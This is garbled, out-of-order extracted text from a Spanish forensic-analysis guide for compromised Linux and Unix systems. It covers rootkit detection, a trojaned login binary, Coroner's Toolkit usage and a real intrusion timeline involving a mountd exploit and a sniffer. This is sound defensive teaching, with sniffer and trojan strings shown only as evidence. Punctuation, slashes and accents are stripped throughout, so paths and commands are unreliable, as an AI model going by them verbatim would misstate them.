xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 22: Análisis Forense de Sistemas GNU/Linux, Unix

lrwxrwxrwx 1 root root 15 Feb 28 0223 fd -gt procselffdlrwxrwxrwx 1 root root 4 Feb 28 0223 ftape -gt rft0Broken pipe

De todos los ficheros que podemos ver en este directorio nos llaman atencioacuten los archivos ptyp y ptyr que noson dispositivos comunes ni directorios ni tampoco enlaces simboacutelicos son ficheros de tipo ASCII text Tambieacutenlocalizamos un directorio llamado rev0 y una carpeta oculta que pertenece al usuario r00t

less ptyr

spplslicessynk4rev0bc1snif

Son ficheros de configuracioacuten de un caballo de Troya El contenido muestra que ls ocultaraacute ficheros o directorios spplslice (un cliente DoS) ssynk4 (cliente DoS) rev0 bc1 y snif (adivina que puede ser )

Si estamos seguros que nuestro sistema no estaacute infectado con un root-kit podemos utilizar las herramientas find ygrep para identificar doacutende se encuentran estos ficheros (el disco estaacute montado como solo lectura nodev iquestverdad)

cd mnt

find -ls | grep -f etcptyr282058 1 drwxr-xr-x 2 root root 1024 Apr 20 1521 devrev0282059 1 -rw-r--r-- 1 root root 5 Apr 20 1521 devrev0sniffpid

282061 20 -rw-r--r-- 1 root root 19654 Apr 20 2023 devrev0tcplog164753 9 -rwxr-xr-x 1 1080 users 9106 Sep 20 1999 devrev0slice164754 8 -rwxr-xr-x 1 1080 users 8174 Sep 20 1999 devrev0smurf4164755 8 -rwxr-xr-x 1 1080 users 7229 Sep 20 1999 devrev0snif164756 4 -rwxr-xr-x 1 1080 users 4060 Mar 5 1999 devrev0sppl164770 9 -rwxr-xr-x 1 root 1000 8268 Aug 10 1999 devblitznetslice2

61907 2 -rwxr-xr-x 1 root root 2006 Mar 29 1999 usrbinsliceprint

255230 1 -rw-r--r-- 1 root root 900 Mar 21 1999 usrincludepython15sliceobjecth

22

Algunos de los ficheros que estaacuten en la lista posiblemente son ficheros legiacutetimos del sistema operativo pero hayalgunos que son bastante sospechosos los que se encuentran en dos carpetas del directorio dev

cd mntdev less ptyp

3 egg3 egg3 bnc

En este momento podemos hacer una apuesta seguro que el fichero ptyp es un fichero de configuracioacuten de la utilidadps del root-kit que oculta los procesos que contienen cadenas egg bnc en sus nombres Hay que encontrarbinarios ejecutables con estos nombres

cd mntdev ls -lR total 2699drwxr-sr-x 2 root 1000 1024 Aug 10 1999 blitznet-rw-r--r-- 1 root root 30720 Apr 26 0407 blitznettar-rwxrw-r-- 1 r00t user1 22360 Apr 27 2258 bnc-rw-r--r-- 1 900 users 2693120 Apr 20 2218 collisiontar-rw-rw-r-- 1 r00t user1 976 Apr 27 2258 exampleconf-rw-rw-r-- 1 user1 user1 5 Apr 28 2035 pidbnc

blitznettotal 22-rw-r--r-- 1 root 1000 3450 Aug 10 1999 README-rw-r--r-- 1 root 1000 1333 Aug 10 1999 blitzc-rw-r--r-- 1 root 1000 3643 Aug 10 1999 blitzdc-rwxr-xr-x 1 root 1000 2258 Aug 10 1999 rushtcl-rwxr-xr-x 1 root 1000 8268 Aug 10 1999 slice2

ls -lR rev0rev0total 51

23

-rwxr-xr-x 1 1080 users 9106 Sep 20 1999 slice-rwxr-xr-x 1 1080 users 8174 Sep 20 1999 smurf4-rwxr-xr-x 1 1080 users 7229 Sep 20 1999 snif-rw-r--r-- 1 root root 5 Apr 20 1521 sniffpid-rwxr-xr-x 1 1080 users 4060 Mar 5 1999 sppl-rw-r--r-- 1 root root 19654 Apr 20 2023 tcplog

cd mntusrbin ls -lat | headtotal 89379drwxr-xr-x 6 root root 27648 Apr 21 0401 -rwsr-xr-x 1 root root 20164 Apr 15 1923 chxlrwxrwxrwx 1 root root 8 Feb 28 0228 netscape-navigator -gt netscapedrwxrwxr-x 2 news news 1024 Feb 28 0225 rnewslibexecdrwxrwxr-x 2 news news 1024 Feb 28 0225 controldrwxrwxr-x 2 news news 1024 Feb 28 0225 filterlrwxrwxrwx 1 root root 4 Dec 30 1306 elatex -gt etexlrwxrwxrwx 1 root root 5 Dec 30 1306 lambda -gt omegalrwxrwxrwx 1 root root 3 Dec 30 1306 latex -gt texBroken pipe

strings - chxlibld-linuxso2__gmon_start__libcryptso1libpamso0

varlogbtmpusrsharelocaleutil-linuxfhplogin -h for super-user onlyusage login [-fp] [username]devttysdevvcsdevvcsaloginlogin PAM Failure aborting sCouldnrsquot initialize PAM sFAILED LOGIN d FROM s FOR s sLogin incorrectTOO MANY LOGIN TRIES (d) FROM s FOR s s

24

FAILED LOGIN SESSION FROM s FOR s sLogin incorrecthushloginssvarrunutmpvarlogwtmpbinshTERMdumbHOMEusrlocalbinbinusrbinPATHsbinbinusrsbinusrbinSHELLvarspoolmailMAILLOGNAMEDIALUP AT s BY sROOT LOGIN ON s FROM sROOT LOGIN ON sLOGIN ON s BY s FROM sLOGIN ON s BY sYou have smailnewlogin failure forking ssetuid() failedNo directory sLogging in with home = login no memory for shell scriptexeclogin couldnrsquot exec shell script slogin no shell ss loginlogin name much too longNAME too longlogin names may not start with rsquo-rsquotoo many bare linefeedsEXCESSIVE linefeedsLogin timed out after d secondsetcsecurettyetcmotdvarloglastlogLast login sfrom son sLOGIN FAILURE FROM s s

25

LOGIN FAILURE ON s sd LOGIN FAILURES FROM s sd LOGIN FAILURES ON s s

El programa nos muestra los mensajes del sistema mencionando el fichero hushlogin Todos los indicios apuntanque el binario es una versioacuten modificada de de la aplicacioacuten login Siempre Los binarios siempre incluyen informacioacutende objetos compilados y enlazados salvo que esteacuten stripeados Si estaacute presente esa informacioacuten podemos examinarlacon la utilidad nm

nm chxchx no symbols

En este caso estamos seguros que el fichero estaacute stripeado Tambieacuten podemos aprender bastante de lo que nos muestranlos enlaces a las libreriacuteas dinaacutemicas Para verlo utilicemos ldd

ldd chxlibcryptso1 =gt liblibcryptso1 (0x40018000)libpamso0 =gt liblibpamso0 (0x40045000)libdlso2 =gt liblibdlso2 (0x4004d000)libpam_miscso0 =gt liblibpam_miscso0 (0x40050000)libcso6 =gt liblibcso6 (0x40054000)libld-linuxso2 =gt libld-linuxso2 (0x40000000)

El binario depende del moacutedulo PAM y de las libreriacuteas criptograacuteficas Entonces el binario efectuacutea algunas tareas deautenticacioacuten de usuarios El binario parece ser el binlogin modificado que pertenece a alguacuten caballo de Troya

Normalmente los intrusos no dejan huellas evidentes que nos permiten encontrar ficheros y directorios El ejemploanterior nos ha probado que utilizando herramientas baacutesicas podemos reunir bastante informacioacuten

En caso de que no sea tan sencillo se deberaacute utilizar herramientas maacutes complejas y eficaces Para ver alguacuten ejemplocomplejo podemos ver referencias [14 15]

8 The Coronerrsquos ToolkitThe Coronerrsquos Toolkit (o el TCT) es un suite de aplicaciones escritas por Dan Farmer y Wietse Venema para uncurso organizado por IBM sobre un estudio forense de equipos comprometidos

Las aplicaciones maacutes importantes del suite son

26

bull grave-robber - Una utilidad para capturar informacioacuten sobre inodes para luego pueda ser procesada por elprograma mactime del mismo toolkit

bull unrm y lazarus - Herramientas para la recuperacioacuten de archivos borrados (logs RAM swap etc) Estasaplicaciones identifican y recuperan la informacioacuten oculta en los sectores del disco duro

bull mactime - El programa para visualizar los ficherosdirectorios su timestamp MAC (Modification Access yChange)

De todas esas herramientas las maacutes uacutetiles y interesantes son grave-robber y mactime unrm y lazarus son buenas si setiene mucho tiempo y espacio libre en el disco ya que el programa necesita identificar informacioacuten en los sectores deldisco para recuperar los ficheros (logs fuentes etc) borrados por los intrusos

La funcioacuten maacutes baacutesica de grave-robber es de escanear algunas o todas sistemas de ficheros con funcioacuten stat() paraobtener informacioacuten de los inodes Grave-robber crea en la carpeta data un directorio llamado como el nombredel host de la maacutequina y alliacute almacena los inodes dentro del fichero body El programa mactime luego ordena losresultados y los muestra seguacuten el tiempo cual de los tres timestamps corresponde muestra el tipo de fichero tamantildeoy a quieacuten pertenece junto con el path

Desde el listado podremos sacar algunas conclusiones sobre la actividad que ha ejercido el intrusolos intrusos duranteel tiempo que estuvieron dentro del sistema Eso puede incluir instalacioacuten de caballos de Troya backdoors sustitucioacutende ficheros legiacutetimos del sistema operativo descarga de herramientas modificacioacuten de las libreriacuteas del sistema oinstalacioacuten de rpmrsquosdebrsquospkgrsquos etc Tambieacuten podemos ver desde aquiacute la creacioacuten de directorios ocultos ejecucioacutende los comandos de sistema operativo compilacioacuten y ejecucioacuten de aplicaciones Toda esa informacioacuten que nunca sealmacena de forma directa puede ser extraiacuteda de la informacioacuten que da mactime

9 Usando TCTAhora paso por paso intentaremos instalar la aplicacioacuten The Coroners Toolkit que nos serviraacute para recoger lainformacioacuten sobre el sistema de ficheros y analizarla La herramienta no es un ejecutable que realiza todas las tareassino es una coleccioacuten de utilidades disentildeadas para efectuar una tarea determinada siendo importante entender elfuncionamiento de cada una de ellas para poder entender la funcioacuten del toolkit en su totalidad

bull El primer paso es de desempaquetar el archivo tct-109targz y copiarlo al directorio usrlocaltct-109 luegodebemos leer detenidamente el fichero de instrucciones de instalacioacuten INSTALL

La instalacioacuten de la aplicacioacuten debe ser realizada en una particioacuten donde haya mucho espacio ya que algunasaplicaciones suelen generar una cantidad grande de informacioacuten de salida por ejemplo unrm y lazarus

bull Ahora reconfiguremos los scripts utilizando perl reconfig ya que TCT utiliza rutas completas

27

bull Limpiamos bien la distribucioacuten con un make clean make all

bull Leemos documentacioacuten del directorio docs para conocer los detalles de funcionamiento del Toolkit

1 ls -l docs

total 34-rw-r--r-- 1 root root 8572 Mar 28 1241 README-rw-r--r-- 1 root root 7162 Mar 28 1239 grave-robberREADME-rw-r--r-- 1 root root 13944 Jan 16 1334 lazarusREADME-rw-r--r-- 1 root root 2830 Mar 27 1507 macREADME

bull Montamos la particioacuten que debemos analizar en modo solo lectura y nodev bajo alguacuten punto de montura

mount -r devhdd2 mnt

bull Suponiendo que siendo root arrancamos la aplicacioacuten grave-robber para que empiece a analizar el sistema de fiche-ros y procesos y guardar los datos de los inodes en el fichero dataactivalinkcombase y dataactivalinkcombaseS(binarios sUID) el estado del sistema en el directorio dataactivalinkcomcommand_out etc

bingrave-robber -m mnt

Grave-robber inicialmente realizaraacute un anaacutelisis de todas las carpetas que estaacuten en el $PATH y a continuacioacuten empezaraacutea analizar la particioacuten montada mnt El anaacutelisis suele tardar bastante tiempo seguacuten el tamantildeo de la particioacuten quequeremos analizar Aparte de los inodes se guarda el estado general del sistema es decir el output de las herramientasde monitorizacioacuten del sistema como ps top w etc

bull Una vez terminado el trabajo del grave-robber copiamos los ficheros passwd y group del sistema comprometidoal directorio tct-109 para que los tengamos a mano ya que en breve estaremos analizaacutendolos Para que se puedadistinguirlos luego renombramos estos ficheros passwdvictim o utilicemos el nombre del host comprometido

bull Ejecutamos luego la utilidad mactime especificando una fecha anterior del compromiso (consideremos que laactividad del intruso ha acabado hoy pero no vamos a especificar hora) Necesitaremos pasar los resultados deejecucioacuten de mactime a un fichero para que luego se pueda examinar su contenido con tranquilidad

28

binmactime -p passwdvictim -g groupvictim mnt 06012000 gt victimmactime

En la utilidad mactime hubo un bug en las versiones anteriores que haciacutea que la aplicacioacuten no funcione correctamente sise utilizaba la opcioacuten -p Entonces haciacuteamos un work around incorporando temporalmente el contenido del ficheroetcpasswd de la maacutequina viacutectima coincidir con eacutel de nuestro sistema En la versioacuten actual este bug estaacute solucionado

bull Hacemos una copia del fichero antes de empezar el anaacutelisis

cp victimmactime victimmactimeevidence

bull Entonces podemos empezar analizando el fichero victimmactimeevidence Usando el editor de texto favoritoempecemos a revisarlo y marcar la actividad sospechosa Sugiero que pongamos los tags [MARK] para que luegocon grep podamos localizar nuestros apuntes

Feb 13 2000 011050 50148 mca -rwxr-xr-x root root xdevFeb 13 2000 011052 564 mc -rw-r--r-- root root xetcprofileFeb 13 2000 011100 5 mac -rw-r--r-- root root xlibsp

18110 a -rw-r--r-- root root xlibtp[MARK]Feb 13 2000 011208 0 c -rw-r--r-- root root xdevttyag

25 c -rwxr-xr-x root root xdevttyfg23 c -rwxr-xr-x root root xdevttypg

373176 c -rws--x--x root root xlib8268 c -rwxr-xr-x root root xlibgo

20164 c -rwsr-xr-x root root xusrbinxcat183780 c -rwxr-xr-x root root xusrsbinfind

Feb 13 2000 013000 8268 a -rwxr-xr-x root root xlibgoFeb 14 2000 104203 1166856 a -rw-r--r-- root root xvarlogbootlog[MARK]Feb 14 2000 104535 18110 mc -rw-r--r-- root root xlibtpFeb 14 2000 105742 2998 mc -rw-r--r-- root root xetcinetdconf~Feb 14 2000 110147 168 a -rw-rw-r-- root root xrootsaves-1380-dragon~

Feb 14 2000 111838 160 mc -rw-r--r-- root root xetchostsallowoldFeb 14 2000 111855 347 mc -rw-r--r-- root root xetchostsdenyoldFeb 14 2000 111908 8 mc -rw-r--r-- root root xetchostsdenyFeb 14 2000 112253 168 mc -rw-rw-r-- root root xrootsaves-1380-dragon~

29

Feb 14 2000 113030 2998 a -rw-r--r-- root root xetcinetdconf~[MARK]Feb 14 2000 113125 20164 a -rwsr-xr-x root root xusrbinxcatFeb 14 2000 113410 868 mc -rwxr-xr-x root root xetcrcdrclocal

bull Despueacutes de repasar todo el listado de cambios histoacutericos puede que tengamos alguna pista para seguir o puedeque no En el peor de los casos debemos modificar la fecha especificada y cambiarla a la anterior del compromisointentaacutendolo de nuevo o mirar maacutes detenidamente Durante el examen del documento se prohibe distraerse ya quela concentracioacuten es muy importante en este momento

bull Otra opcioacuten es recuperar ficheros borrados con el la utilidad unrm y luego examinarlos con el programa stringsLas dos utilidades unrm y lazarus generan muchiacutesima informacioacuten y debemos tener bastante espacio libre enla particioacuten Podemos determinar la cantidad de espacio en disco duro que necesitamos calculando de formaaproximada a partir del informe de df

df mntFilesystem 1k-blocks Used Available Use Mounted ondevhdb2 3028881 1604551 1267697 56 mnt

En nuestro ejemplo df muestra que tenemos 1267697 bloques sin ocupar que significa que unrm puede llegar a generaraproximadamente 12 Gb de informacioacuten Encontremos una particioacuten libre y almacenemos alliacute el dump (Importanteen el ejemplo utilizo el punto de montura del sistema comprometido y no del sistema de anaacutelisis)

binunrm devhdb2 gt datavictimhda2unrm

bull Pero si disponemos de maacutes espacio (maacutes de 12Gb) y mucho maacutes tiempo para practicar con lazarus que procesaraacuteel espacio libre en el disco duro y intentaraacute recuperar ficheros por sus tipos lazarus genera una salida en formatoHTML que nos va a dar la oportunidad de verla a traveacutes del navegador

30

10 Ejemplo de Informe de Pruebas EncontradasAhora vamos a examinar un informe completo de actividad dellos intrusos en el sistema El informe fue obtenido trasanalizar los ficheros log de los sniffers intentos de acceso timestamps en el sistema de ficheros y el contenido de lasparticiones de varios sistemas involucrados en el incidente Es un informe real soacutelo que estaacute omitida la informacioacutenque identifica el sistema atacado

A continuacioacuten es un informe de anaacutelisis de la particioacuten root del sistema 2121022557 la informacioacuten aparece talcomo fue encontrada despueacutes de poner el disco off-line una vez descubierto el compromiso por sospecha de tenerejecutaacutendose un sniffer Una copia de sistema de ficheros estaacute disponible en formato targz en el cdrom ISO 9660CD-R

La maacutequina 2121022557 fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusosalrededor de 10-09-2001 utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-9812httpwwwcertorgadvisoriesCA-9812mountdhtml

El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas CoronerrsquosToolkit (httpwwwfishcomsecurityforensicshtml) En el sistema de anaacutelisis el disco aparece como dispositivodevhdc La primera particioacuten devhdc1 fue montada en modo solo lectura bajo el punto de montura x Comoresultado de ello todas las rutas seraacuten precedidas por esa cadena La geometriacutea del disco duro es la siguiente

Disk devhdc 32 heads 63 sectors 825 cylindersUnits = cylinders of 2016 512 bytes

Device Boot Start End Blocks Id Systemdevhdc1 1 793 799312+ 83 Linuxdevhdc2 794 825 32256 82 Linux swap

Como la mayoriacutea de los accesos al servidor empezaron el diacutea 09 del Sep la fecha previa del anaacutelisis forense fue tomadacomo 28 Ago No se observan huellas obvias de modificacioacuteninstalacioacuten de ficheros que indica que el sistema fueaccedido entre Sep 01 y Sep 04 El diacutea Sep 04 ha sido modificado el demonio r de Berkeley (inrlogind)

Sep 04 01 234221 23421 m -rwxr-xr-x root root xusrsbininrlogind

El examen del contenido del fichero a traveacutes de la utilidad strings muestra que es un caballo de Troya que contienelos mismos strings que han sido encontrados en los ficheros del grupo XXXXXXX

31

rlogindahLlnXXXXXXXXCanrsquot get peer name of remote host mCanrsquot get peer name of remote hostsetsockopt (SO_KEEPALIVE) msetsockopt (IP_TOS) mhname = NULLrlogindc

Pasados ocho diacuteas se observa una modificacioacuten en el demonio y ejecucioacuten de chown

Sep 12 01 110410 23421 c -rwxr-xr-x root root xusrsbininrlogindSep 12 01 110411 8156 a -rwxr-xr-x root bin xbinchown

Pasada media hora el fichero fuente linsniffc se copia en un directorio oculto bajo etc El directorio se llamaetc (punto-punto-espacio-espacio-espacio lo que nosotros convertiremos en etc___ para ver maacutes claramenteel directorio en los listados El programa luego se compila Vemos que los ficheros de cabeceras que tienen que vercon las funciones de red han sido accedidos y el binario se mueve al usrsbintelnetd

Despueacutes de cuatro minutos se produce un acceso a traveacutes del protocolo FTP (observando el acceso al wuftpd y sufichero id de proceso)

Sep 12 01 113659 5127 mc -rw-r--r-- root root xetc___linsniffcSep 12 01 113708 4967 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxifh

3143 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_arph

3145 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_etherh

1910 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxiph

2234 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxrouteh

1381 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtcph

Sep 12 01 113710 2048 c drwxr-xr-x root bin xusrsbinSep 12 01 113714 2048 m drwxr-xr-x root bin xusrsbinSep 12 01 113715 8179 mc -rwxr-xr-x root root xusrsbintelnetdSep 12 01 113748 8179 a -rwxr-xr-x root root xusrsbintelnetdSep 12 01 114152 77476 a -rwxr-xr-x root bin xusrsbinwuftpd

32

Sep 12 01 114208 4096 mac -rw-r--r-- root root xvarpidftppids-remote

Esa actividad se confirma recuperando el fichero eliminado de log desde la particioacuten root

Sep 12 113305 2001 intelnetd[1290] connect from cromanionwashingtoneduSep 12 113316 2001 login 1 LOGIN FAILURE FROM cromanionwashingtonedu 502Sep 12 113321 2001 login 2 LOGIN FAILURES FROM cromanionwashingtonedu 502

Sep 12 113402 2001 su quaker on devttyp1Sep 12 114152 2001 wuftpd[1327] connect from lotherdalewashingtoneduSep 12 114157 2001 ftpd[1327] USER snoopSep 12 114159 2001 ftpd[1327] PASS passwordSep 12 114200 2001 ftpd[1327] SYSTSep 12 114201 2001 ftpd[1327] CWD tmpSep 12 114206 2001 ftpd[1327] TYPE ImageSep 12 114206 2001 ftpd[1327] PORTSep 12 114206 2001 ftpd[1327] STOR mountdSep 12 114208 2001 ftpd[1327] QUITSep 12 114208 2001 ftpd[1327] FTP session closedSep 12 120025 2001 intelnetd[1342] connect from cromanionwashingtoneduSep 12 120025 2001 telnetd[1342] ttloop peer died Try again

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente Tambieacutenpodemos conocer que el intruso tiene una cuenta en el sistema cromanionwashingtonedu [21512102] que normal-mente utiliza entre 143305 y 150025 EST

Los strings del fichero usrsbintelnetd muestran que es un sniffer El fichero log del sniffer es tcplog (pordefecto)

cant get SOCK_PACKET socketcant get flagscant set promiscuous mode----- [CAPLEN Exceeded]----- [Timed Out]----- [RST]----- [FIN]s =gt s [d]eth0tcplogcant open logExiting

33

El diacutea 13 de Sep otro programa que incorpora funciones de red se compila que hace uso de muchos maacutes recursosque el sniffer (ya que carga maacutes libreriacuteas) El hecho que el binario no aparece con fecha de modificacioacuten o cambiopuede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultarsu presencia del equipo de administracioacuten del servidor

Sep 13 01 100146 55492 a -rwxr-xr-x root root xusrbingcc6211 a -rw-r--r-- root root xusrincludestdioh

92696 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cpp

1003 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270specs

Sep 13 01 100147 2767 a -rw-r--r-- root root xusrinclude_G_configh

1441 a -rw-r--r-- root root xusrincludeallocah2040 a -rw-r--r-- root root xusrincludeconfnameh

1267 a -rw-r--r-- root root xusrincludeerrnoh4186 a -rw-r--r-- root root xusrincludefeaturesh

4434 a -rw-r--r-- root root xusrincludegnutypesh

7917 a -rw-r--r-- root root xusrincludelibioh380 a -rw-r--r-- root root xusrincludeposix_opth

4419 a -rw-r--r-- root root xusrincludesignalh15134 a -rw-r--r-- root root xusrincludestdlibh

7537 a -rw-r--r-- root root xusrincludestringh3909 a -rw-r--r-- root root xusrincludesyscdefsh

4538 a -rw-r--r-- root root xusrincludesyssocketh

321 a -rw-r--r-- root root xusrincludesystypesh

25129 a -rw-r--r-- root root xusrincludeunistdh8841 a -r--r--r-- root root xusrlibgcc-libi486-linux270includestddefh

1029 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386typesh

6298 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxerrnoh

2065 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsignalh

34

2794 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsocketh

3846 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsockiosh

2621 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtypesh

Sep 13 01 100148 3668 a -rw-r--r-- root root xusrincludearpaineth

734 a -rw-r--r-- root root xusrincludebytesexh1555 a -rw-r--r-- root root xusrincludeendianh3248 a -rw-r--r-- root root xusrincludelimitsh6390 a -rw-r--r-- root root xusrincludenetdbh2663 a -rw-r--r-- root root xusrincludenetinetinh

3562 a -rw-r--r-- root root xusrincludepathsh2643 a -rw-r--r-- root root xusrincludeposix1_limh

2680 a -rw-r--r-- root root xusrincludeposix2_limh

3777 a -rw-r--r-- root root xusrincludesysbitypesh

709 a -rw-r--r-- root root xusrincludesysparamh

2315 a -rw-r--r-- root root xusrincludesystimeh

5273 a -rw-r--r-- root root xusrincludesyswaith

2852 a -rw-r--r-- root root xusrincludetimeh1156 a -rw-r--r-- root root xusrincludewaitflagsh

3724 a -rw-r--r-- root root xusrincludewaitstatush

1418196 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cc1

3049 a -rw-r--r-- root root xusrlibgcc-libi486-linux270includelimitsh

